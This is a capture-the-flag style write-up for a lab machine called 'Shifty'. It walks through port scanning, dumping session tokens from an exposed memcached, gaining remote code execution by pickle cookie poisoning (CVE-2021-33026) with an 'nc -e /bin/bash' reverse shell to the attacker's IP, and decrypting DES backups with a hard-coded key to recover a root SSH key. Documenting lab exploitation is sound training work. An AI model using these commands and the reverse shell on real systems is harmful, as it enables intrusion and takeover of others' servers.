Shifty

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 4000 192.168.202.59 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-06 21:57 +08
Nmap scan report for 192.168.202.59
Host is up (0.17s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE  SERVICE
22/tcp    open   ssh
53/tcp    closed domain
80/tcp    open   http
5000/tcp  open   upnp
11211/tcp open   memcache

Memcache was open, of all things. I did a detailed nmap scan as well:

$ sudo nmap -p 80,5000,11211 -sC -sV --min-rate 4000 192.168.202.59           
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-06 21:58 +08
Nmap scan report for 192.168.202.59
Host is up (0.17s latency).

PORT      STATE SERVICE   VERSION
80/tcp    open  http      nginx 1.10.3
|_http-generator: Gatsby 2.22.15
|_http-server-header: nginx/1.10.3
|_http-title: Gatsby + Netlify CMS Starter
5000/tcp  open  http      Werkzeug httpd 1.0.1 (Python 3.5.3)
|_http-server-header: Werkzeug/1.0.1 Python/3.5.3
|_http-title: Hello, world!
11211/tcp open  memcached Memcached 1.4.33 (uptime 150 seconds)

Interesting.

Web + Memcache Enum

Port 80 looked rather static:

There was no public exploit for this software either, so let's move on. Port 5000 looked way more promising:

We can login, and there's no additional functionality with this website. Viewing the requests, we can see that the login just assigned us a token:

Moving to Memcache, we can dump it using memcdump. We instantly get loads of tokens:

$ memcdump --servers=192.168.202.59
<TRUNCATED>
session:8245fa94-7b27-4d99-a1c3-18a9f9db8e54
session:e90dd194-0be7-41f5-9362-a96431bea058
session:d5b40159-2bc4-4b57-91ae-2839ff3b040e
session:5cd631b0-49ba-4059-aae8-5dbae44f7c43

The last one was the same as above. I tried replacing the cookie within the request:

GET /admin HTTP/1.1
Host: 192.168.202.59:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.202.59:5000/login
Connection: close
Cookie: session=hellothere
Upgrade-Insecure-Requests: 1

Interestingly, this cookie is stored in Memcached, indicating there's no cookie sanitisation there. Perhaps this could be poisoned?

Pickling RCE

I googled 'memcache cookie poisoning exploit' and looked at all the results. This repo was one of them:

It looked exactly like what I needed. So I tested it after resetting the VPN and the machine.

$ python3 cve-2021-33026_PoC.py --rhost '192.168.202.59' --rport '5000' --cmd 'nc -e /bin/bash 192.168.45.179 80' --cookie 'session:session=5cd631b0-49ba-4059-aae8-5dbae44f7c43'
 ____ ___ ____ _  ___     _____         
|  _ \_ _/ ___| |/ / |   | ____|        
| |_) | | |   | ' /| |   |  _|    _____ 
|  __/| | |___| . \| |___| |___  |_____|
|_|  |___\____|_|\_\_____|_____|        
                                        
 __  __ _____ __  __  ____    _    ____ _   _ _____ ____   
|  \/  | ____|  \/  |/ ___|  / \  / ___| | | | ____|  _ \  
| |\/| |  _| | |\/| | |     / _ \| |   | |_| |  _| | | | | 
| |  | | |___| |  | | |___ / ___ \ |___|  _  | |___| |_| | 
|_|  |_|_____|_|  |_|\____/_/   \_\____|_| |_|_____|____/  
                                                           
  ____   ___ ___ ____   ___  _   _ ___ _   _  ____  
 |  _ \ / _ \_ _/ ___| / _ \| \ | |_ _| \ | |/ ___| 
 | |_) | | | | |\___ \| | | |  \| || ||  \| | |  _  
 |  __/| |_| | | ___) | |_| | |\  || || |\  | |_| | 
 |_|    \___/___|____/ \___/|_| \_|___|_| \_|\____|

We would get a shell on our listener port:

Privilege Escalation

Encrypted Files -> Root SSH

There was a backup.py file within /opt/backups:

import sys
import os
import hashlib
from des import des, CBC, PAD_PKCS5

def backup(name, file):
    dest_dir = os.path.dirname(os.path.realpath(__file__)) + '/data'
    dest_name = hashlib.sha224(name.encode('utf-8')).hexdigest()
    with open('{}/{}'.format(dest_dir, dest_name), 'wb') as dest:
        data = file.read()
        k = des(b"87629ae8", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
        cipertext = k.encrypt(data)
        dest.write(cipertext)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: {} <file>'.format(sys.argv[0]))
    
    FILENAME = sys.argv[1]
    FILENAME = os.path.abspath(FILENAME)
    print('Backing up "{}"'.format(FILENAME))
    f = None
    try:
        f = open(FILENAME, 'rb')
        backup(FILENAME, f)
    except Exception as e:
        print('Could not open {}'.format(FILENAME))
        print(e)
    finally:
        if f:
            f.close()

In the data directory, there's also loads of encrypted files:

jerry@shifty:/opt/backups/data$ ls
0317ce62a75684cf0fcf8452a7fe5e5e919d1b730644bf16a304a919
11e3e83c5ea13aaed3b3ceb5edd72b9431ebc6ec2c447d412a0b7c7c
1a171f6f6491d3e4ca9cc0ca15a6c508c8815f6e29004bb29c0724d5
1cb607653518c3b1f08b1341322ead36dd8f93c3d2bfa23916fe28bd
1fd8c1281b186594d3d49f38cded4ce40faf862e9d409eb2a3a201cf
25a74de564e2aa81fbb8682f3fef798deda63f4cca65fd58901caecb
31328fa57f5c504df041f7f4f45498c766c0d12c33f78f33cff66bca
3fa4dcd297e960dc9e875437c67e7817356c487f57f828453756a2cc
403c9401a0224bd4f483dedb33ed0bf37fbd93881783ea0e600a49ff
5b1c7de10787e87d4d868457b7bf828154f1d02f653f2b57bce17abc
65895ecf8b82b9fa742e8fabde0fd7e60f1258a9e7ba3c1e9367a3e0
7297aeb420d0530ccb52dcb7f905ecc8deffefc32d02691561a9172e
7824132f0f0cc6da1dce3763d50c38c2941d07f9648e34c6c9b9ccf8
8cd58cbefd50ef93f1a3b173456f9b6a09a7318ada378c3a49a980f2
9038291aaa6b222363fc78837b934d1e2f96bb7cfe11fd3d73149e72
92e8127d493e205bfbd8a9c0dd165da2154768cebafa1c752d9bf0dc
dd533e5634f95c6d86a4f37f01453f5326c80e58b8a01f0a4222c011
dfe0444a971a789bb405c54c270ae25460f5699319aad697c7fd35ee
f166b490169e7de5795a09305837198579daad4694e233d49b126d91

I made a copy of all these files within my home directory, and began decrypting it using openssl. From the python script and based on the documentation for des, the key would be 87629ae8 and the IV is all null bytes.

Since the key is interpreted as a bytes type object, we need to convert it to hex, which would give 3837363239616538.

Then, we can decrypt the files:

jerry@shifty:~/backup$ openssl enc -d -des-cbc -K 3837363239616538 -iv "0000000000000000" -in 3fa4dcd297e960dc9e875437c67e7817356c487f57f828453756a2cc -out decrypt

Then, we can bulk decrypt all of these files using a bash for loop:

for FILE in *; do openssl enc -d -des-cbc -K 3837363239616538 -iv "0000000000000000" -in $FILE -out decrypt$FILE; rm $FILE; done

Then, we can read all of the files. Within the decrypted files, there was a SSH private key:

Using this, we can ssh in as root:

Rooted!

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